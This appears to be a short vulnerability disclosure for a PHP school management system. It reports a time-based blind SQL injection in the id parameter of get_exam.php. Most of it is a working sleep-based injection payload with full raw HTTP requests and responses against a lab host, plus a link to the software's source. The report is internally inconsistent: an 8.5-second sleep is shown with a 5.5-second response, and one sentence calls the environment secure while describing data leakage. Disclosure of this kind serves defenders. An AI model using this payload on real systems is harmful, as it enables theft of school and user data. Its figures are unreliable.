

SQL injection vulnerability exists in id parameter of /model/get_exam.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

The image shows a Wireshark packet capture of an HTTP GET request. The request line is `GET /std1/model/get_exam.php?id=if(now())=sysdate())%2Csleep(4)%2C0) HTTP/1.1`. The payload is `if(now())=sysdate())%2Csleep(4)%2C0)`, which is highlighted with a red box. A red arrow points from this box to the response. The response is an HTTP 200 OK from nginx/1.15.11, with a content type of text/html. The status bar at the bottom indicates a response time of 4,003 milliseconds.

Request	Response
1 GET /std1/model/get_exam.php?id=if(now())=sysdate())%2Csleep(4)%2C0) HTTP/1.1	1 HTTP/1.1 200 OK
2 Accept: */*	2 Server: nginx/1.15.11
3 X-Requested-With: XMLHttpRequest	3 Date: Thu, 18 Apr 2024 15:17:14 GMT
4 Referer: http://192.168.31.163/std1	4 Content-Type: text/html; charset=UTF-8
5 Cookie: PHPSESSID=20ptau7cr4s4oumkvlpq4l29mn	5 Connection: keep-alive
6 Accept-Encoding: gzip, deflate, br	6 X-Powered-By: PHP/7.3.4
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36	7 Content-Length: 12
8 Host: 192.168.31.163	8 [null,null]
9 Connection: Keep-alive	

Sleep time is 8.5s:

The image shows a Wireshark packet capture of an HTTP GET request. The request line is `GET /std1/model/get_exam.php?id=if(now())=sysdate())%2Csleep(8.5)%2C0) HTTP/1.1`. The payload is `if(now())=sysdate())%2Csleep(8.5)%2C0)`, which is highlighted with a red box. A red arrow points from this box to the response. The response is an HTTP 200 OK from nginx/1.15.11, with a content type of text/html. The status bar at the bottom indicates a response time of 5,503 milliseconds.

Request	Response
1 GET /std1/model/get_exam.php?id=if(now())=sysdate())%2Csleep(8.5)%2C0) HTTP/1.1	1 HTTP/1.1 200 OK
2 Accept: */*	2 Server: nginx/1.15.11
3 X-Requested-With: XMLHttpRequest	3 Date: Thu, 18 Apr 2024 15:17:52 GMT
4 Referer: http://192.168.31.163/std1	4 Content-Type: text/html; charset=UTF-8
5 Cookie: PHPSESSID=20ptau7cr4s4oumkvlpq4l29mn	5 Connection: keep-alive
6 Accept-Encoding: gzip, deflate, br	6 X-Powered-By: PHP/7.3.4
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36	7 Content-Length: 12
8 Host: 192.168.31.163	8 [null,null]
9 Connection: Keep-alive	

Payload: `id=if(now())=sysdate())%2Csleep(4)%2C0)`

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>